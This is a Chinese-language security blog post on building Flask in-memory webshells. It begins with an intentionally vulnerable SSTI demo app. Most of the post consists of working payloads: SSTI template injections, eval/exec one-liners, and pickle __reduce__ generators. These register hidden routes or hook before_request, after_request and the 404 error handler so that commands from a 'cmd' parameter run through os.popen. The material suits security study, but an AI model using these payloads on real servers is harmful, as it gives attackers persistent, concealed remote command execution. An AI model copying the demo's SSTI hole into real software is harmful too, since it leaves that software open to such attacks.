Flask内存马

2024/8/9 Web flask 内存马

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前言

年轻人学的第一个内存马，竟然不是java（

看大伙好像前几个月都在研究这个，学一下，顺带复健一下，已经摸了两周🐟了

参考：

https://github.com/iceyhexman/flask_memory_shell

http://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/flask%E4%B8%8D%E5%87%BA%E7%BD%91%E5%9B%9E%E6%98%BE%E6%96%B9%E5%BC%8F/

https://xz.aliyun.com/t/14421

https://www.cnblogs.com/gxngxngxn/p/18181936

先准备一个Flask SSTI漏洞环境：

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def home():
    person = 'guest'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h2>Hello %s!</h2>' % person
    return render_template_string(template)


if __name__ == "__main__":
    app.run(debug=False)

debug模式下不出网回显

在debug模式下，报错会带出详细信息，debug模式常见的考点有算pin码进console来命令执行

其实我们也可以通过手动报错raise Exception()的方式来让我们的命令回显

payload：

{{url_for.__globals__['__builtins__']['exec']("raise Exception(__import__('os').popen('whoami').read())")}}

接下来关闭debug模式，开始研究🐎

低版本内存马

payload：

{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

因为懒得搞低版本的flask了，这里对payload里的关键部分稍微分析一下就过了

在eval中，执行了这样一个东西：

"
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}

很明显，这里调用了Flask对象的add_url_rule方法

add_url_rule

在Flask中注册路由是使用@app.route()装饰器来实现的，看一下其源码实现：

可以看到这里用了add_url_rule来添加路由，这几个参数的说明：

rule：函数对应的URL规则，满足条件和 app.route() 的第一个参数一样，必须以/开头；
endpoint：端点，即在使用 url_for() 进行反转的时候，这里传入的第一个参数就是 endpoint 对应的值。这个值也可以不指定，那么默认就会使用函数的名字作为 endpoint 的值；
view_func：URL对应的函数（注意，这里只需写函数名字而不用加括号），下面的图对照的就是def home()；
provide_automatic_options：控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False；
options：要转发到基础规则对象的选项。Werkzeug 的一个变化是处理方法选项。方法是此规则应限制的方法列表（GET、POST等）。默认情况下，规则只侦听 GET（并隐式地侦听HEAD）

对照一下payload，可以知道这里添加了一条路由，处理该路由的函数是个由lambda关键字定义的匿名函数

获取app上下文

低版本中_request_ctx_stack

_request_ctx_stack是Flask的一个全局变量，是一个LocalStack实例

Flask请求上下文管理机制：当一个请求进入Flask，首先会实例化一个Request Context，这个上下文封装了请求的信息在Request中，并将这个上下文推入到一个名为_request_ctx_stack 的栈结构中

也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top，这里等价于获取了<Flask 'app'>

那么_request_ctx_stack.top.request.args.get('cmd', 'whoami')就能获取cmd参数

sys.modules

url_for.__globals__['sys'].modules['__main__'].__dict__['app']

url_for.__globals__['sys'].modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

新版内存马

测试版本：Flask 2.2.0

不知道从哪个版本开始，flask不再支持在程序运行的过程中通过add_url_rule添加路由

那就得另辟蹊径了

这里可以利用@app.before_request或者@app.after_request这两个底层函数来打

接下来先以下面这个路由进行测试：

@app.route('/e')
def e():
    a = eval(request.args.get('cmd'))
    if a :
        return "1"
    else:
        return "0"

before_request

在 Flask 中，before_request 是一个装饰器，它用于在请求处理之前执行特定的函数。这个装饰器允许对每个请求进行一些预处理，比如认证检查、日志记录、设置响应头等

from flask import Flask, request

app = Flask(__name__)


@app.before_request
def test():
    if not request.headers.get("Authorization"):
        return "Unauthorized", 401

像上面这个demo就是检测请求 headers 有无 Authorization 字段来实现身份认证

跟进一下这个装饰器

可以看到这里实际上调用的是

self.before_request_funcs.setdefault(None, []).append(f)

作用是：

检查 self.before_request_funcs 字典中是否有一个键为 None 的条目。
如果没有 None 键，就在字典中创建它，并将其值设置为一个空列表。
然后，无论 None 键是否存在，都将函数 f 添加到这个列表中。

那么这个f就是我们添加的函数了，于是我们同样可以自定义一个 lambda 函数，这样在每次发起请求前就都会触发了

于是可以构造我们的payload：

app.before_request_funcs.setdefault(None, []).append(lambda: "123")

第一次写入进去，之后所有的访问请求都会返回123

不过弊端也很明显，使用lambda必然会得到一个返回值，那么服务后续的操作都无法进行，会影响到主机的正常业务

after_request

和 before_request 相反，after_request会在请求结束得到响应包之后进行操作

和前面那个一样，唯一要注意的是这个需要定义一个返回值，不然就会报错

构造payload：（注意，在本人的测试版本上需要提前在代码中导入对应的包才可打入payload）

app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)

函数的内容为：

lambda resp: # 传入参数
    CmdResp if request.args.get('cmd') and      # 如果请求参数含有cmd则返回命令执行结果
    exec('
        global CmdResp;     # 定义一个全局变量，方便获取
        CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   # 创建一个响应对象
    ')==None    # 恒真
    else resp)  # 如果请求参数没有cmd则正常返回
# 这里的cmd参数名和CmdResp变量名都是可以改的，最好改成服务中不存在的变量名以免影响正常业务

打入后就getshell了

其它的钩子

都是gxngxngxn师傅找到的，tql

teardown_request：跟前面after_request的类似，payload也通用，改个调用的底层函数名就行，但是无回显。。

error_handler_spec

该函数用于自定义404页面的回显

@app.errorhandler(404)
def errortest(e):
    print('error_handler(404)')
    print(e)
    return '404 Err0r'

跟进这个装饰器的底层逻辑

发现眼熟的东西，当然按照旧版内存马的方式直接调用register_error_handler同样是不行的

但是值得注意的是，这里传入register_error_handler的参数有code_or_exception和f

f依旧是我们可控的函数，那么接下来就是要构造code_or_exception使得code和exc_class也可控，在前面code_or_exception的值为404

跟进一下_get_exc_class_and_code

那这还构造个啥，直接_get_exc_class_and_code(404)，这样就能返回常规的变量了

payload：

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

_got_first_request

将_got_first_request这个判断置成false即可调用add_url_rule

ssti利用

考虑到上下文没有导入包的情况

注：部分flask版本下无法使用url_for.__globals__['current_app']来获取app，因此这里改用sys.modules

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

{{url_for.__globals__['__builtins__']['eval']("exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

pickle利用

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

目录

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前言

debug模式下不出网回显

低版本内存马

add_url_rule

获取app上下文

低版本中_request_ctx_stack

sys.modules

新版内存马

before_request

after_request

其它的钩子

error_handler_spec

_got_first_request

ssti利用

pickle利用